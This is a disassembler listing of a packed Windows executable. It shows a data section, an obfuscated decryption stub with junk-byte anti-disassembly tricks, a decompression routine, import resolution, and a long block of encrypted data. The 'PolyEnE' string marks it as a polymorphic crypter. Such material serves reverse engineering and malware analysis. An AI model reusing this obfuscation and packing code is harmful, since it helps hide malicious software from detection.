XREF: .data:00416A54o align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .data:0041684Bo align 10h dword_41DDA0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o off_41DDB0 dd offset off_4172BC ; DATA XREF: .data:off_4172C0o ; .data:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DDD0 dd offset off_4172BC ; DATA XREF: .data:off_417308o ; .data:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DDE8 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DDEC dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DDF0 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DDF4 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DDFC dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DE00 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DE08 dd 0 ; DATA XREF: sub_40332B+1Ar ; sub_404CBB+1Br ... dword_41DE0C dd 1 ; DATA XREF: sub_40332B+Bo dword_41DE10 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DE18 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DE1C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DE20 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DE24 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DE28 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DE2C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DE30 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DE34 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DE38 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DE3C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DE40 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DE44 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DE48 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DE4C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; sub_408B30+118r ... dword_41DE50 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_414EF4+6Cr ... dword_41DE54 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DE58 dd 71ABC076h ; DATA XREF: sub_4020C2+DBr ; sub_403BD3+17Fw ... dword_41DE5C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E264 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E268 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E270 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E274 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E278 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E27C dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E280 dd 14ABB8h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E29C db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E2A0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E2A8 dd 14ABE0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E2C0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E2C8 dd 863A00h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E2CC dd 0 ; DATA XREF: sub_409CB1+6r ; sub_409DD0+65w ... dword_41E2D0 dd 0 ; DATA XREF: sub_409DD0+3Fw ; sub_409DD0+44r ... dword_41E2D4 dd 0 ; DATA XREF: sub_409CB1+F6r ; sub_409DD0+91w ... dword_41E2D8 dd 0 ; DATA XREF: sub_409CB1+B9r ; sub_409DD0+7Bw ... align 10h byte_41E2E0 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E6E8 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E868 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41E968 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41E974 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41E97C dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41E980 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EA84 db 0AFh ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... db 0CFh, 0F7h, 22h dd 8848C018h, 0B368C8BAh, 0C033A9h, 0 dword_41EA98 dd 778BADEBh, 11714D53h, 0C9854DFFh, 55D567CFh, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EAAC dd 401EC8A7h ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EAB0 dd 21947E4Eh ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EAB4 dd 0A09BF1CBh ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EAB8 dd 0CA3A7015h ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EAC0 db 0DFh ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... db 0FCh, 0EFh, 91h dd 0A2928C83h, 0CEE88CD5h, 80C099CDh, 2 dup(0) dword_41EAD8 dd 2 dup(0) ; DATA XREF: sub_41113B+7E8o dword_41EAE0 dd 0 ; DATA XREF: sub_411DC5+557o dword_41EAE4 dd 2 dup(0) ; DATA XREF: sub_411DC5+579o dword_41EAEC dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EAF0 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EAF4 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; sub_412E04+7Fo dword_41EAFC dd 6B636170h, 652E6465h, 6578h, 3Eh dup(0) ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... dword_41EC00 dd 7CB12DF4h ; DATA XREF: sub_40A9CF+838r ; .data:00416909w dword_41EC04 dd 6D3D3243h ; DATA XREF: .data:00416913w dword_41EC08 dd 0E740FADAh ; DATA XREF: .data:0041691Dw dword_41EC0C dd 0A72B08F7h ; DATA XREF: .data:00416927w dword_41EC10 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... dword_41ED18 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EE18 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EE98 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41EF18 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; sub_4055E5+746o ... byte_41F018 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 4 dd 3F9h dup(0) ; --------------------------------------------------------------------------- pusha jmp short $+2 jmp short loc_420006 ; --------------------------------------------------------------------------- db 0A9h ; --------------------------------------------------------------------------- loc_420006: ; CODE XREF: .data:00420003j push ebp mov ebp, 0DB28h xchg eax, ebp pop ebp rol esi, 20h rol esi, 20h xchg ebx, ebx jmp short loc_420019 ; --------------------------------------------------------------------------- db 69h ; --------------------------------------------------------------------------- loc_420019: ; CODE XREF: .data:00420016j push eax mov eax, 40h xchg eax, ecx pop eax push eax push ecx jmp short near ptr loc_420024+1 ; CODE XREF: .data:loc_420024j ; --------------------------------------------------------------------------- dw 0E015h ; --------------------------------------------------------------------------- add al, 42h add [edi-140F0037h], al push eax inc esp inc esp mov eax, [esp-2] inc esp inc esp jmp short loc_420041 ; --------------------------------------------------------------------------- db 0Fh, 23h ; --------------------------------------------------------------------------- loc_42003E: ; CODE XREF: .data:loc_420041j jmp short loc_420043 ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_420041: ; CODE XREF: .data:0042003Aj jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420043: ; CODE XREF: .data:loc_42003Ej push offset sub_401000 pop esi jmp short loc_42004C ; --------------------------------------------------------------------------- db 0A9h ; --------------------------------------------------------------------------- loc_42004C: ; CODE XREF: .data:00420049j jmp short loc_42004F ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_42004F: ; CODE XREF: .data:loc_42004Cj push 0DB28h mov edx, [esp] add esp, 4 rol esi, 20h loc_42005D: ; CODE XREF: .data:0042009Bj xchg edx, edx mov ch, [esi] xor ch, dl sub ch, dl sub ch, dl add ch, 1Fh xor ch, dl add ch, 0FFh xor ch, 0C7h add ch, 75h sub ch, 1 xor ch, 0FFh not ch add ch, dl sub ch, 0A0h xor ch, 0C8h inc ch mov [eax], ch jmp short loc_42008C ; --------------------------------------------------------------------------- db 69h ; --------------------------------------------------------------------------- loc_42008C: ; CODE XREF: .data:00420089j inc esi dec eax inc eax xchg edx, edx inc eax jmp short loc_420096 ; --------------------------------------------------------------------------- db 69h ; --------------------------------------------------------------------------- loc_420096: ; CODE XREF: .data:00420093j dec edx cmp edx, 0 jnz loc_42005D inc esp inc esp mov esi, [esp-2] inc esp inc esp push eax mov eax, offset sub_401000 xchg eax, edi pop eax push esi mov eax, offset sub_420546 jmp short loc_4200BB ; --------------------------------------------------------------------------- db 0A9h ; --------------------------------------------------------------------------- loc_4200BB: ; CODE XREF: .data:004200B8j call eax ; sub_420546 jmp short near ptr loc_4200BD+1 ; CODE XREF: .data:loc_4200BDj ; --------------------------------------------------------------------------- db 15h dd offset dword_4204E4 ; --------------------------------------------------------------------------- jmp short near ptr loc_4200C4+1 ; CODE XREF: .data:loc_4200C4j ; --------------------------------------------------------------------------- dw 0EBC0h ; --------------------------------------------------------------------------- dec eax mov eax, 718h xor eax, edi push edi jmp short loc_4200D6 ; --------------------------------------------------------------------------- db 0BDh, 30h ; --------------------------------------------------------------------------- loc_4200D6: ; CODE XREF: .data:004200D2j xor eax, [esp] pop edi xchg ecx, ecx push 40h pop ecx jmp short near ptr loc_4200E2+1 ; CODE XREF: .data:loc_4200E2j ; --------------------------------------------------------------------------- dd 0F1FFEBF0h, 0E015FFEBh, 0EB004204h, 0DB87F0FFh, 685DF0FFh dd 417000h, 8324348Bh, 0C6C104C4h, 18B85020h, 91000007h dd 57C73358h, 30BD02EBh, 5F240433h, 0C987C987h, 9020C6C1h dd 0F3821E8Ah, 1EB8020h, 80E8C380h, 0D3F61DEBh, 0D932D902h dd 0F380D932h, 0FFC380F9h, 0EB80CB00h, 80D92A31h, 0CB00FFF3h dd 87005D88h, 3101EBD2h, 87C6FFEBh, 0C9FF45C9h, 0C102C2C1h dd 875702CAh, 0F01EBFBh, 83FB875Bh, 850F00F9h, 0FFFFFF9Dh dd 748B4444h, 4444FE24h, 417000BFh, 0C2C15600h, 2CAC102h dd 420546B8h, 0EBD0FF00h, 0F78BF6FFh, 0EBF7875Fh, 4E415FFh dd 24680042h, 58000037h, 8BF6FFEBh, 0F7875FF7h, 0EBC0FFEBh dd 40B9C8FFh, 0EB000000h, 0FFEBF0FFh, 0EBC486F1h, 0C166A001h dd 0FFEB08C0h, 4204E015h, 0F6FFEB00h, 875FF78Bh, 0D28750F7h dd 5EBF0FFh, 3EB230Fh, 8BFBEB31h, 0C4832404h, 0C0FFEB04h dd 68C8FFEBh, 418000h, 8324348Bh, 0C6C104C4h, 24B85020h dd 92000037h, 0C03E8A58h, 0EF80D2C7h, 0DCF782FFh, 824FC782h dd 0D7F624EFh, 0D728FA2Ah, 0CFC0FA02h, 0E5C7C020h, 888AC7C0h dd 0EBC6FF38h, 0FFEBC0FFh, 0FFEB40C8h, 5FF78BF6h, 0EBF787h dd 0EBCAFFEBh, 0F78BF6FFh, 83F7875Fh, 850F00FAh, 0FFFFFFB5h dd 0C102C2C1h, 0BF5E02CAh, 418000h, 48F6FFEBh, 0A901EB40h dd 1EB00EBh, 4EC8369h, 462404C7h, 58004205h, 0DB87D0FFh dd 0EBFB8757h, 875B0F01h, 15FFEBFBh, 4204E4h, 1EBDB87h dd 8300EB69h, 4C704ECh, 4173C824h, 58575F00h, 503101EBh dd 5B8h, 33589100h, 2EB57C7h, 43330BDh, 0BB5F24h, 86000000h dd 0A001EBC4h, 8C0C166h, 850F1839h, 3Dh, 0EBC0FFEBh, 1EBC8FFh dd 0FFEB9069h, 5FF78BF6h, 1EBF787h, 0EBD287A9h, 0DB873101h dd 4BA52h, 0DAF70000h, 0EB5AC22Bh, 5152C9FFh, 5A241C39h dd 0F4840F5Ah, 0E9000000h, 0FFFFFFBCh, 50DB8702h, 400000B8h dd 90589300h, 10C478Bh, 0F0FFEBD8h, 0E815FFEBh, 50004204h dd 8324348Bh, 478B04C4h, 0C1C30110h, 0CAC102C2h, 50404802h dd 1E8h, 8358C700h, 0FFEB08C0h, 38B58E0h, 0C102C2C1h, 0DB8702CAh dd 68h, 0C8395900h, 8D840Fh, 0C2C10000h, 2CAC102h, 0A9DB87h dd 0F800000h, 3285h, 1E85000h, 0C7000000h, 8C08358h, 58E0FFEBh dd 40000005h, 0C1DB8700h, 0CAC102C2h, 40404802h, 90C0FFEBh dd 0EBFB8757h, 875B0F01h, 6E9FBh, 25DF0000h, 0FFFFh, 0FFEBF0FFh dd 15FFEBF6h, 4204ECh, 0B9h, 3B505200h, 5A5A240Ch, 59840Fh dd 1EB0000h, 0EB038931h, 49B8D00h, 0EB000000h, 0F78BF6FFh dd 0E9F7875Fh, 0FFFFFF57h, 0EBD287CAh, 0FFEBC0FFh, 8D4048C8h dd 14BFh, 0FEA8E900h, 87E0FFFFh, 57C733D2h, 30BD02EBh dd 5F240433h, 616901EBh, 67F16890h, 48B0041h, 4C48324h dd 0EBC3F0FFh, 0F78BF6FFh, 87F7875Fh, 0F6FFEBC9h, 875FF78Bh dd 3101EBF7h, 4205F8B8h, 6136800h, 515B0042h, 10BAh, 53F2FF00h dd 0F1FFEB50h, 0EBFB8757h, 875B0F01h, 62768FBh, 48B0042h dd 4C48324h, 0C102C2C1h, 0C48602CAh, 66A001EBh, 0EB08C0C1h dd 4048F0FFh, 230F05EBh, 0EB3103EBh, 15FFEBFBh, 4204E8h dd 0EB57C733h, 3330BD02h, 505F2404h, 42061BB8h, 48589100h dd 0FFEB5140h, 15FFEBF0h, 4204ECh, 0FFA901EBh, 6901EBD0h dd 0F015FFEBh, 0EB004204h, 96E9A901h, 0 dd 37000000h, 0CDC313h, 0D377E600h, 0E0000204h, 204h, 4 dup(0) dd 4B000000h, 454E5245h, 2E32334Ch, 6C6C64h, 77E736A3h dword_4204E4 dd 77E73803h, 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 ; DATA XREF: .data:004200C0o dd 6C470168h, 6C61626Fh, 6F6C6C41h, 16F0063h, 626F6C47h dd 72466C61h, 0A9006565h, 616F4C01h, 62694C64h, 79726172h dd 1290041h, 50746547h, 41636F72h, 65726464h, 75007373h dd 69784500h, 6F725074h, 73736563h, 0B0E900h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_420546 proc near ; CODE XREF: .data:loc_4200BBp ; DATA XREF: .data:004200B3o push ebp push edi mov ebx, edi xor ebp, ebp add ebx, [esi] add esi, 8 loc_420551: ; CODE XREF: sub_420546+18j mov dx, [esi] mov ecx, ebp inc esi shr dx, cl mov dh, 9 loc_42055C: ; CODE XREF: sub_420546+92j ; sub_420546+A3j dec dh jz short loc_420551 shl dl, 1 jnb short loc_4205DA push esi mov ecx, ebp mov eax, [esi] shr eax, cl mov ecx, eax mov esi, eax shr ecx, 3 test eax, 4 jz short loc_420584 and ecx, 1Fh shr eax, 8 add ebp, 8 jmp short loc_42058D ; --------------------------------------------------------------------------- loc_420584: ; CODE XREF: sub_420546+31j and ecx, 3 shr eax, 5 add ebp, 5 loc_42058D: ; CODE XREF: sub_420546+3Cj and esi, 3 test esi, esi jz short loc_4205A2 dec esi jz short loc_4205AC dec esi jz short loc_4205B6 and eax, 7 add ebp, 3 jmp short loc_4205BC ; --------------------------------------------------------------------------- loc_4205A2: ; CODE XREF: sub_420546+4Cj and eax, 7Fh add ebp, 7 jmp short loc_4205BC ; --------------------------------------------------------------------------- loc_4205AC: ; CODE XREF: sub_420546+4Fj and eax, 3Fh add ebp, 6 jmp short loc_4205BC ; --------------------------------------------------------------------------- loc_4205B6: ; CODE XREF: sub_420546+52j and eax, 0Fh add ebp, 4 loc_4205BC: ; CODE XREF: sub_420546+5Aj ; sub_420546+64j ... inc eax mov esi, edi add ecx, 2 sub esi, eax lea eax, [ecx+edi] cmp eax, ebx jnb short loc_4205EE rep movsb mov ecx, ebp pop esi shr ecx, 3 and ebp, 7 add esi, ecx jmp short loc_42055C ; --------------------------------------------------------------------------- loc_4205DA: ; CODE XREF: sub_420546+1Cj cmp edi, ebx jnb short loc_4205EF mov ecx, ebp mov eax, [esi] inc edi shr eax, cl inc esi mov [edi-1], al jmp loc_42055C ; --------------------------------------------------------------------------- loc_4205EE: ; CODE XREF: sub_420546+83j pop ecx loc_4205EF: ; CODE XREF: sub_420546+96j mov eax, edi pop edi sub eax, edi pop ebp retn sub_420546 endp ; --------------------------------------------------------------------------- jmp short near ptr word_420632 ; --------------------------------------------------------------------------- aUnableToFixImp db 'Unable to fix importtable.',0 aPolyene db 'PolyEnE',0 aMessageboxa db 'MessageBoxA',0 aUser32_dll db 'USER32.dll',0 word_420632 dw 0 ; CODE XREF: .data:004205F6j align 1000h _data ends ; Section 2. (virtual address 00021000) ; Virtual size : 00012190 ( 74128.) ; Section size in file : 00012190 ( 74128.) ; Offset to raw data for section: 00021000 ; Flags C0000020: Text Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _pdata segment para public 'CODE' use32 assume cs:_pdata ;org 421000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_421000 dd 8000005Eh, 23170000h, 0CFF0E24Bh, 79BDA8E6h, 85C4017Bh ; DATA XREF: .ex_cod:off_435820o dd 2F8E59ADh, 0D558AAB6h, 4FF17F31h, 81261296h, 75BBEC60h dd 1C030894h, 62F68484h, 1ABEE31h, 6D013CA4h, 2E85D594h dd 1262BFEFh, 1BE847E9h, 3C88C0A8h, 0BF59DB86h, 2756239Ch dd 9F4CC021h, 2ECECA65h, 7F9C315Dh, 2CAD7B05h, 292E497Fh dd 7E4729AFh, 7BB0DF56h, 896BC177h, 0B35EB55Dh, 9D3DE668h dd 19C2DB38h, 0C4ACABEAh, 0C3CA33DAh, 0FAF55772h, 6F0FEB29h dd 264A2EF8h, 0AD3129D2h, 86192426h, 8851DF4Eh, 4B0DDABFh dd 174E1B61h, 813AA9CAh, 2BC5BC81h, 0BE996B9Ch, 0E402D83Ch dd 19E888E6h, 0A7737B9Fh, 61CA96EDh, 0FC6F389Bh, 9A7C2C46h dd 5F6B63C1h, 5350CE54h, 0D6026591h, 0F99E0304h, 13946A33h dd 8834EC1Fh, 724EB884h, 2198FCA4h, 356FCA93h, 0E5183C30h dd 9E5FC9E1h, 31FF0A5Dh, 8D0FD0DBh, 1DF033B1h, 84B08AB3h dd 294B3D8Ah, 6C5E6C98h, 32337362h, 2F97F662h, 83E656D4h dd 6B9B90E3h, 3FDA4B7Ch, 1FC0300Eh, 0BBB1960Ch, 0C434E19Ah dd 7735A9C8h, 91DABB82h, 0BA7104FAh, 0B4843BA2h, 0BB4C1DE2h dd 9237DA02h, 1BB31A9Fh, 2AA8EAEBh, 33A28250h, 147B60BFh dd 8D7C64F9h, 274EAF58h, 9D2EC2E3h, 0E9D5263Ch, 1601F55Dh dd 0BA5EA396h, 0E3234CD5h, 0F4D5CC98h, 141E3174h, 2A5A22EEh dd 73D48947h, 0C7166BF5h, 0C8E11B93h, 0E01DE876h, 0FB5E9F08h dd 8D1BED02h, 0A517A427h, 14BFD45Eh, 0F155A896h, 69CC9910h dd 134D78B4h, 7474BCE0h, 243EDF10h, 6C43F675h, 9CB805A8h dd 0A243B788h, 5581B345h, 1A882EC6h, 0E19A1909h, 63052FF6h dd 1F64A069h, 25D53A12h, 610302EBh, 99B0301h, 0F44466DCh dd 0BD97AA7Ah, 25CAE04Ah, 2939194Bh, 44A18364h, 11435B9h dd 0B8473BD4h, 909F617Ch, 770AC36Ah, 0BA84E82Ch, 884736C2h dd 100E0A51h, 0C1C06C58h, 9D7849CEh, 88E944C3h, 0A7312B1Dh dd 0F0B2406Dh, 0B526D0B7h, 28653ED1h, 4549F6BEh, 0B5E1F35h dd 0EA327702h, 7A8BFFA9h, 3FD88032h, 3EC2C4CFh, 0C179233Fh dd 625EA3CBh, 0DA52D6E6h, 4D88EABh, 0E0C4B089h, 10B16BDCh dd 7382CB9h, 219CBC89h, 0D50FB712h, 3B3AF16Dh, 0DC4EBACDh dd 7F7310FCh, 0B914BF29h, 0D18862F8h, 0CE5B44D4h, 0BA8F9D5h dd 96FDADA6h, 52ABB08h, 3F9E3F99h, 0A36BFA64h, 0B08F5F99h dd 7124613Bh, 0FE8E0CF0h, 51EA9ED5h, 0E3B07A60h, 0B6CEF8F2h dd 1E583260h, 0D175821Ah, 51122092h, 56018431h, 0A831AF8Fh dd 0D8CF45F8h, 2640126Bh, 0FF9705C4h, 3CB251CBh, 0B3E3545Dh dd 910C672h, 0A99A6F28h, 199B1D4Ah, 0FB4DD038h, 0BDD27652h dd 0D19322AEh, 415A40F7h, 6E596449h, 84F814D3h, 1C217F99h dd 0BBC1A757h, 808FB010h, 46168475h, 5AE01003h, 0F8002479h dd 0DA197A5Ah, 426101DBh, 0B29D6EDBh, 0B6EEB9AEh, 18593123h dd 0A80167A1h, 0FDFFB0C6h, 39CBE0ADh, 74E07074h, 2493FB04h dd 5F04166h, 0B6419C88h, 0EC302965h, 0E05153CAh, 0DB10FC97h dd 4B22B975h, 70CF95FDh, 0F6FEE285h, 0E6E34CDCh, 0C5825738h dd 0B6F2156Fh, 3411D879h, 8221EEE3h, 0F3381BDCh, 25B6D857h dd 8A996229h, 7963CCFh, 2B13133Dh, 784937BEh, 8B864DF8h dd 95086B3Ah, 0EEDEF3E0h, 2B735D99h, 0A23CAEE8h, 26D634FDh dd 9C703F6h, 0D329CC87h, 9DE3458Ah, 205395D8h, 14194E7Ch dd 75288E45h, 2059F99Fh, 34E4FE40h, 3D23CE0Ch, 5BF0AB36h dd 8532776Bh, 896736BBh, 95407675h, 25DE2DD4h, 428D18A8h dd 4ED2FFC4h, 6F0E7DC2h, 0C114CA11h, 0C3DE0D22h, 0E5C4CB98h dd 7C06CD62h, 0FEEF632h, 0C43FD89Ch, 0D5EE477Fh, 0DF2B32F3h dd 0DDA7795h, 5179DC76h, 0CCDAED96h, 7F8F002Ch, 0D1D81A2Eh dd 0E0D43EACh, 1950FB37h, 1C04348Ah, 9B57F27Dh, 0C385BAAh dd 4C5C1469h, 77056286h, 6129FD27h, 5B990624h, 0B540C1A9h dd 2377894Fh, 8C3BC94Fh, 0F38A49ECh, 212FF447h, 0B2BDEF5Dh dd 0C46EA594h, 47BE028Ah, 0C0A670EBh, 25744DF5h, 0BEB618C6h dd 0D9193C3Eh, 0D1A52696h, 5CC9C132h, 0B80D6E43h, 99CAE35Fh dd 0CA4DF07Ah, 0B45E75A1h, 7DCE8FC0h, 0BB1162DCh, 0C85470F6h dd 0ECF529DAh, 7D36743Ch, 0F0AB8401h, 846A5024h, 81A5E63Ch dd 62BE1613h, 86FB0D48h, 99096A51h, 35EE0F7Eh, 0DD795E65h dd 54EB8BDCh, 67BB0711h, 73DCDD57h, 99C90077h, 4D274AFBh dd 593CDA7Dh, 634CF99h, 0D2C6AFEFh, 14778E5Bh, 6B1CCD6Fh dd 0F99D986h, 0CF62573Bh, 0C5259D8Ah, 0ACB4E344h, 10614939h dd 1F301C57h, 83512A1Eh, 0A9DDFAECh, 16591E6Dh, 6A99073Ah dd 27F4C8E0h, 0F9FFCC6Bh, 0B5482FD0h, 53407DA0h, 5682EA2Eh dd 4D599327h, 0D4A28A75h, 6176FC34h, 75FD7E5Ch, 0B4510AE8h dd 7F029651h, 0B398A9D9h, 0AF2F62A3h, 0D1E2854h, 0C5A74B58h dd 778853A2h, 0BB5A93A4h, 728DA032h, 0EECD95DDh, 0D5BD2525h dd 88640B98h, 4176B126h, 8FDF21B9h, 0E0D9CF9Fh, 19B05D37h dd 0E8846C5Ah, 0D6BAA8CCh, 38783B12h, 0BFB9E4F4h, 0DFB6271Ah dd 20E0C121h, 4486BDDDh, 80653BDFh, 0A11E4007h, 524F7F94h dd 4AA5735Ch, 0C1B1143Ch, 37DC7E65h, 0E6463C93h, 7E17AE3Dh dd 64A4CDA7h, 11599167h, 4B6A4501h, 3D366B6Bh, 0A60B28A7h dd 2E600029h, 86494B3Ch, 8E4FBD1Bh, 0B8D11939h, 9D9A1FDDh dd 3474A169h, 0FE6BF638h, 0CF15C8D1h, 16723EC0h, 89CEC8FAh dd 60B19B96h, 0AE021906h, 4983D98Eh, 0DA0F7DE6h, 0D67AE0DDh dd 29EB8703h, 273D5910h, 0B457EE59h, 86294631h, 33D0AB4Ah dd 0F12C7D27h, 0B8A9A147h, 0EB11CBBFh, 0A564B60Ch, 0DC8F8054h dd 4B933430h, 88E55905h, 0D460F496h, 0F9C70B9Eh, 14545304h dd 9B6278D0h, 6B2BCA0Eh, 1C80A174h, 5BF8053Bh, 46AC9A5Ch dd 5D40A4E4h, 0D2B44B05h, 0BC99957Fh, 0A9A53C2Dh, 0D8D4092Ah dd 0B2BF6498h, 0DE7F7D4Bh, 0BEA64BA2h, 622B4A40h, 0D7B6F8F6h dd 6EE6FE10h, 46351AF7h, 1B48AC97h, 0B89EEEC2h, 1F57FC71h dd 4F0FAE00h, 0C5A4F52Ch, 5F44A47Ah, 20CBA95Dh, 0C9FE27C1h dd 89B3D426h, 0D4680DAh, 3A294601h, 0AD446C36h, 0E77D2B68h dd 0BC47BE7h, 9E3B483h, 2BE3AA52h, 471E37A5h, 0EC8E0157h dd 0B6E24FD0h, 72EAA913h, 95F1533Ch, 5C18B1CBh, 745D71D9h dd 77DCF85Dh, 64B6B78Ah, 0AEB44CFh, 6923BE6Ch, 656BD088h dd 0FF8AB162h, 0AE986B6h, 0AF029C0Bh, 4F6F25C8h, 0FECD3824h dd 985D1415h, 3518E4F1h, 20E21459h, 0E082F06Dh, 9C717B7Fh dd 83F19E8Fh, 1F51F3F3h, 3885EA3Fh, 0B6373Fh, 0E14C9C75h dd 7567701Bh, 0CE4631FEh, 25870717h, 1C66026Dh, 0DACCD275h dd 0F2DE2058h, 51A2AB26h, 0B390D561h, 0B66FEF86h, 0D401FB19h dd 4A09E498h, 0A9CC69B8h, 17A4A92h, 2BBF081Bh, 0D2CB3B03h dd 6F7B9C53h, 221CB2B3h, 3DC240F1h, 50E266BFh, 1B13D856h dd 0A9AAAB05h, 0C40A4530h, 136FB883h, 56F98A73h, 0E84E3750h dd 3CAC1070h, 2E7B8013h, 17357E36h, 0F5D61192h, 1CB898EBh dd 4EF2906Ch, 326A6657h, 2A4F65Bh, 4C53C24Eh, 0D5C8E002h dd 0F40539C3h, 0A2D1281Ah, 0C14D02EDh, 0B42C4FF4h, 0D685CDFBh dd 43C93806h, 7AD8B0C3h, 1B6753Ah, 0D2BF897Dh, 0E00EC4B3h dd 0B0EB4F55h, 0C6D1A97Fh, 497E1DEDh, 43A2BD7Bh, 1F65E945h dd 0D148F631h, 4311B47h, 407A37Fh, 80DA7DBFh, 343B33B7h dd 0C2738CF3h, 0F452FAADh dd 92527DD3h, 0AD81DFECh, 5B739B2Ah, 0D32E2C65h, 3BC26F62h dd 0BC9AC99Fh, 0F5BFD18Bh, 3EAB5D9Eh, 0D8338657h, 0F83B52D4h dd 22A55289h, 2DBAD025h, 34B7B6BDh, 42498411h, 76291814h dd 0B5FB5EA3h, 2AF47805h, 0F6A0368Ch, 62419BCBh, 97B2ACD3h dd 243034Dh, 0C1623CC9h, 77B16AB1h, 301E4BF5h, 0EFC57308h dd 2D77CABAh, 81D1821Fh, 4A74469Ch, 0B4774E66h, 6855DB5Fh dd 0BC10DF45h, 202E4E01h, 0F192FCD1h, 0CBA37ACCh, 2762CD4h dd 84667C55h, 84EA62CFh, 4FDFDF6Eh, 106A899Dh, 6DA35C1Fh dd 2EECFE18h, 456251E0h, 37AA4C6Bh, 